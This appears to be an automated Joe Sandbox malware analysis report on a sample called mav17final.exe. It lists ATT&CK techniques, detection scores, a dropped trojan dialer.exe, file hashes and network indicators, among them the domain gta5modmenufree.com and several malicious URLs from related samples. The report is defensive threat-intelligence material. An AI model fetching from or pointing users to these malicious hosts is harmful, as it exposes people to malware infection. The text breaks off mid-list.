Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Bootkit	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mav17final.exe	34%	ReversingLabs	Win64.Trojan.Generic
mav17final.exe	16%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\dialer.exe	100%	Joe Sandbox ML
C:\ProgramData\dialer.exe	100%	Joe Sandbox ML
C:\ProgramData\dialer.exe	79%	ReversingLabs	Win64.Trojan.Zusy
C:\ProgramData\dialer.exe	65%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\VCRUNTIME140.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\_bz2.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\_ctypes.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\_decimal.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\_elementtree.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\_elementtree.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\_hashlib.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\_lzma.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\_socket.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\_ssl.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\libcrypto-1_1.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\libffi-8.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\libssl-1_1.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\psutil\_psutil_windows.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\psutil\_psutil_windows.cp311-win_amd64.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\pyexpat.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\python311.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\python311.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\select.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI19682\unicodedata.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\dialer.exe	79%	ReversingLabs	Win64.Trojan.Zusy
C:\Users\user\AppData\Local\Temp\dialer.exe	65%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
gta5modmenufree.com	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	0%	URL Reputation	safe
http://cacerts.digicert.co	0%	URL Reputation	safe
https://www.python.org/download/releases/2.3/mro/.	0%	URL Reputation	safe
https://www.openssl.org/H	0%	URL Reputation	safe
http://www.iana.org/time-zones/repository/tz-link.html	0%	URL Reputation	safe
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	0%	URL Reputation	safe
https://peps.python.org/pep-0205/	0%	URL Reputation	safe
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	0%	URL Reputation	safe
https://peps.python.org/pep-0263/	0%	URL Reputation	safe
https://www.python.org/psf/license/	0%	URL Reputation	safe
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	0%	Avira URL Cloud	safe
https://github.com/giampaolo/psutil/issues/875.	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	0%	Avira URL Cloud	safe
https://stackoverflow.com/questions/4457745#4457745	0%	Avira URL Cloud	safe
http://mail.python.org/pipermail/python-dev/2012-June/120787.html	0%	Avira URL Cloud	safe
http://goo.gl/zeJZl	0%	Avira URL Cloud	safe
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	0%	Virustotal		Browse
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	0%	Avira URL Cloud	safe
https://stackoverflow.com/questions/4457745#4457745	0%	Virustotal		Browse
https://gta5modmenufree.com/CSHQRtZu/standingcpu	0%	Avira URL Cloud	safe
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	0%	Avira URL Cloud	safe
https://github.com/giampaolo/psutil/issues/875.	0%	Virustotal		Browse
http://goo.gl/zeJZl	0%	Virustotal		Browse
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	0%	Virustotal		Browse
http://mail.python.org/pipermail/python-dev/2012-June/120787.html	0%	Virustotal		Browse
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	0%	Virustotal		Browse
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	0%	Virustotal		Browse
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gta5modmenufree.com	188.114.96.3	true	false	5%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://gta5modmenufree.com/CSHQRtZu/standingcpu	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	mav17final.exe, 00000002.00000003.2041722275.0000018717654000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046833551.00000187176AB000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2045701458.0000018717883000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2033297099.0000018717654000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046317483.00000187176AA000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2052090144.00000187176AC000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2064361091.0000018717883000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2052889217.00000187176B2000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2050639413.0000018717883000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	mav17final.exe, 00000002.00000002.2062169744.0000018717208000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://cacerts.digicert.co	mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/giampaolo/psutil/issues/875.	mav17final.exe, 00000002.00000003.1996176454.0000018717946000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995683640.00000187178CF000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995683640.0000018717935000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2063485010.00000187176C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.python.org/download/releases/2.3/mro/.	mav17final.exe, 00000002.00000002.2062169744.0000018717180000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1992629255.000001871762E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.python.org/pipermail/python-dev/2012-June/120787.html	mav17final.exe, 00000002.00000002.2066729753.0000018718BE0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://stackoverflow.com/questions/4457745#4457745	mav17final.exe, 00000002.00000003.1996176454.0000018717946000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995683640.00000187178CF000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995683640.0000018717935000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2063485010.00000187176C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	mav17final.exe, 00000002.00000003.2046884562.0000018715958000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1992798977.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046367139.0000018715944000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2062065450.000001871595F000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2054589272.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1991499161.000001871596A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2059550410.000001871595C000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.openssl.org/H	mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iana.org/time-zones/repository/tz-link.html	mav17final.exe, 00000002.00000003.1995336796.000001871785B000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995217340.00000187178BB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://goo.gl/zeJZl	mav17final.exe, 00000002.00000003.1996191490.0000018717925000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2063485010.00000187176C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	mav17final.exe, 00000002.00000003.1995217340.00000187178BB000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2066729753.0000018718BE0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://peps.python.org/pep-0205/	mav17final.exe, 00000002.00000002.2066729753.0000018718CBC000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	mav17final.exe, 00000002.00000003.2046884562.0000018715958000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1992798977.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046367139.0000018715944000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2062065450.000001871595F000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2054589272.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1991499161.000001871596A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2059550410.000001871595C000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	mav17final.exe, 00000002.00000003.2059550410.000001871595C000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	mav17final.exe, 00000002.00000003.1995217340.00000187178BB000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2066729753.0000018718C38000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	mav17final.exe, 00000002.00000003.2046884562.0000018715958000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1992798977.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046367139.0000018715944000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2062065450.000001871595F000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2054589272.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1991499161.000001871596A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2059550410.000001871595C000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0263/	mav17final.exe, 00000002.00000002.2068496795.00007FF8A8CEB000.00000002.00000001.01000000.00000004.sdmp	false	URL Reputation: safe	unknown
https://www.python.org/psf/license/	mav17final.exe, 00000002.00000002.2069042978.00007FF8A8D88000.00000004.00000001.01000000.00000004.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	gta5modmenufree.com	European Union		13335	CLOUDFLARENETUS	false
77.105.166.179	unknown	Russian Federation		43176	ICOMF-ASRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1445527
Start date and time:	2024-05-22 06:45:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	70
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	mav17final.exe
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winEXE@100/36@1/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target dialer.exe, PID 3664 because it is empty
Execution Graph export aborted for target dialer.exe, PID 6204 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:45:58	API Interceptor	40x Sleep call for process: powershell.exe modified
00:46:01	API Interceptor	1x Sleep call for process: dialer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	ARRIVAL NOTICE.doc	Get hash	malicious	Lokibot	Browse	spencerstuartllc.top/evie2/five/fre.php
	Scan9430654.exe	Get hash	malicious	FormBook	Browse	www.nifadofa.homes/38gc/
	Inventory_list.xls	Get hash	malicious	Unknown	Browse	i8.ae/cGrnN
	ENQUIRY OFFER.xls	Get hash	malicious	FormBook	Browse	dokdo.in/pYI
	Inventory_list.xls	Get hash	malicious	Unknown	Browse	i8.ae/cGrnN
	file.exe	Get hash	malicious	FormBook	Browse	www.huangpositive.site/bm6n/?8n=aAoejwWZFiCrfGqPBHj/m2/PxsdJwEc8tlnUGzKrzo1wpFIxo6POt5lRkeHtIuPuWQTQkS0T8WndeVqc1/AEe5wUm02jzsi98TQJhoA5iu/rECfyrNm2TAw=&xnjD=N4Pdr
	PHARMACEUTICAL ORDER.xls	Get hash	malicious	Unknown	Browse	dokdo.in/zQz
	PON2401071.xls	Get hash	malicious	Unknown	Browse	dokdo.in/wcg
	file.exe	Get hash	malicious	FormBook	Browse	www.huangpositive.site/bm6n/
	PON2401071.xls	Get hash	malicious	Unknown	Browse	dokdo.in/wcg
77.105.166.179	Arceus.exe	Get hash	malicious	Xmrig	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Maersk-BL-Ref0929339041333 47367282378722.scr	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://gw2lm63127.eleteriod.com/j2qv060236/#dG9tQGZpbHRlcnNwbHVzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://url6.mailanyone.net/scanner?m=1s9UFM-000CiC-67&d=4%7Cmail/90/1716316200/1s9UFM-000CiC-67%7Cin6e%7C57e1b682%7C26023477%7C10839452%7C664CE828D09A29E749862A491AAAC3E1&o=/phta:/ptspbinrllytaonozz.c.oeigc/a&s=IY823YGYdPj0VexD71Fh81X9-uM	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	NEW PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	172.67.190.203
	Tsl _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	Tsl _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://msserver365.folletos.eu	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	SOA APR 24.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://url.au.m.mimecastprotect.com/s/mjsWCGv0k9hBOJLgS7iTae?domain=login.websonnsenndshares-pages.online	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://sallywilliamson.com/	Get hash	malicious	Unknown	Browse	104.17.31.174
ICOMF-ASRU	RxGB5U5XHX.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	77.105.161.254
	wnUwGBR8uK.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	77.105.161.254
	mE6cY5Lf5f.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	77.105.161.180
	Arceus.exe	Get hash	malicious	Xmrig	Browse	77.105.166.179
	0sE5N2driQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	77.105.161.254
	URKhkNRquh.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	77.105.161.254
	SecuriteInfo.com.Linux.Siggen.9999.4259.32315.elf	Get hash	malicious	Unknown	Browse	77.105.163.9
	OMYZQMamB0.elf	Get hash	malicious	Unknown	Browse	77.105.163.9
	fgtt2yjapn.elf	Get hash	malicious	Unknown	Browse	77.105.163.9
	WLFUgfqVkO.elf	Get hash	malicious	Unknown	Browse	77.105.163.9

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI19682\_bz2.pyd	file.exe	Get hash	malicious	Unknown	Browse
	access_version_x32-64_pack.exe	Get hash	malicious	Unknown	Browse
	https://c51k11nyj56k.pettisville.sbs/lander/FileRotator_ID428/download.php	Get hash	malicious	Unknown	Browse
	Wave32bit.exe	Get hash	malicious	Unknown	Browse
	Wave32bit.exe	Get hash	malicious	Unknown	Browse
	DeltaX.exe	Get hash	malicious	Xmrig	Browse
	Arceus.exe	Get hash	malicious	Xmrig	Browse
	DeltaX.exe	Get hash	malicious	Xmrig	Browse
	W1dMSoIHTz.exe	Get hash	malicious	Unknown	Browse
	W1dMSoIHTz.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\_MEI19682\VCRUNTIME140.dll	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.SpywareX-gen.27721.19030.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse
	access_version_x32-64_pack.exe	Get hash	malicious	Unknown	Browse
	https://c51k11nyj56k.pettisville.sbs/lander/FileRotator_ID428/download.php	Get hash	malicious	Unknown	Browse
	Wave32bit.exe	Get hash	malicious	Unknown	Browse
	Wave32bit.exe	Get hash	malicious	Unknown	Browse
	DeltaX.exe	Get hash	malicious	Xmrig	Browse
	Arceus.exe	Get hash	malicious	Xmrig	Browse
	DeltaX.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.FileRepMalware.5539.23420.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\dialer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\dialer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5290264
Entropy (8bit):	6.532307554125056
Encrypted:	false
SSDEEP:	98304:CoTBOZ1ed7R/gyE5hIblWsTvMq/tjafGriRNUP8lw:CoTBOvayyE3IblWKPljafGDaw
MD5:	0BCBEA7313655A42ECC0A1FDBCF37993
SHA1:	4262E7F1A051C50C0145CE932EC261E6B93F387E
SHA-256:	B63F00D14E4EDC4A5B63E48D3836DA41D3567BBEACB84322B054DD5B2A25A600
SHA-512:	11D99F7E31E65A3A0E2C63AAA9F0476EF3835BBBB96181043A642AC11503E7DA3DED331E5FD0F5D4A66951F674C14B6693434DE337B35ED77AFE0E21D49B3B7E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 65%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Gf.........."...........O.....@..........@..............................Q...........`.....................................................<.............P.......P..)....Q.h...............................(.......8............................................text...f........................... ..`.rdata..\|B.......D..................@..@.data.....O.......O.................@....pdata........P.......P.............@..@.00cfg........P.......P.............@..@.tls..........P.......P.............@....reloc..h.....Q.......P.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.641929675972235
Encrypted:	false
SSDEEP:	1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
MD5:	4585A96CC4EEF6AAFD5E27EA09147DC6
SHA1:	489CFFF1B19ABBEC98FDA26AC8958005E88DD0CB
SHA-256:	A8F950B4357EC12CFCCDDC9094CCA56A3D5244B95E09EA6E9A746489F2D58736
SHA-512:	D78260C66331FE3029D2CC1B41A5D002EC651F2E3BBF55076D65839B5E3C6297955AFD4D9AB8951FBDC9F929DBC65EB18B14B59BCE1F2994318564EB4920F286
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.SpywareX-gen.27721.19030.exe, Detection: malicious, Browse Filename: access_version_x32-64_pack.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Wave32bit.exe, Detection: malicious, Browse Filename: Wave32bit.exe, Detection: malicious, Browse Filename: DeltaX.exe, Detection: malicious, Browse Filename: Arceus.exe, Detection: malicious, Browse Filename: DeltaX.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.5539.23420.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d..._#;..........." ...".....`......................................................=.....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	84760
Entropy (8bit):	6.570831353064175
Encrypted:	false
SSDEEP:	1536:PdQz7pZ3catNZTRGE51LOBK5bib8tsfYqpIPCV17SyQPx:VQz9Z5VOwiItsAqpIPCV1Gx
MD5:	3859239CED9A45399B967EBCE5A6BA23
SHA1:	6F8FF3DF90AC833C1EB69208DB462CDA8CA3F8D6
SHA-256:	A4DD883257A7ACE84F96BCC6CD59E22D843D0DB080606DEFAE32923FC712C75A
SHA-512:	030E5CE81E36BD55F69D55CBB8385820EB7C1F95342C1A32058F49ABEABB485B1C4A30877C07A56C9D909228E45A4196872E14DED4F87ADAA8B6AD97463E5C69
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: access_version_x32-64_pack.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Wave32bit.exe, Detection: malicious, Browse Filename: Wave32bit.exe, Detection: malicious, Browse Filename: DeltaX.exe, Detection: malicious, Browse Filename: Arceus.exe, Detection: malicious, Browse Filename: DeltaX.exe, Detection: malicious, Browse Filename: W1dMSoIHTz.exe, Detection: malicious, Browse Filename: W1dMSoIHTz.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A}...............d`.....J`......J`......J`......J`......J`.......`......Nd..........Z....`.......`.......`.......`......Rich............PE..d......d.........." ...".....^......L........................................P.......`....`.........................................p...H............0....... .. ......../...@..........T...........................p...@............................................text............................... ..`.rdata..L>.......@..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
